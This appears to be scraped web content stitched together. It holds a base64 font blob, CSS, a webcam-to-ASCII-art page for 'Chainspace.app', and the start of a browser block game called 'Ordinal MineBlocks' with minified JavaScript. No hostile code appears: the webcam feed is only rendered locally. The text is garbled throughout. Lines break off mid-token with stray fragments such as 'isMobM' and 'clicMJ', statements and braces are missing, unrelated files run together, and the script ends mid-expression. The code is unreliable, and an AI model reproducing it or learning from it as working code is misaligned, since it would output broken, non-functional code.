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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #E6E2C3;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#E6E2C3", "#88A47C", "#227C70", "#227C70", "#1C315E", "#E6E2C3", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice(M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObjectM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
     const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
lem.className = 'grid';
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][M
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('clicMJ
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
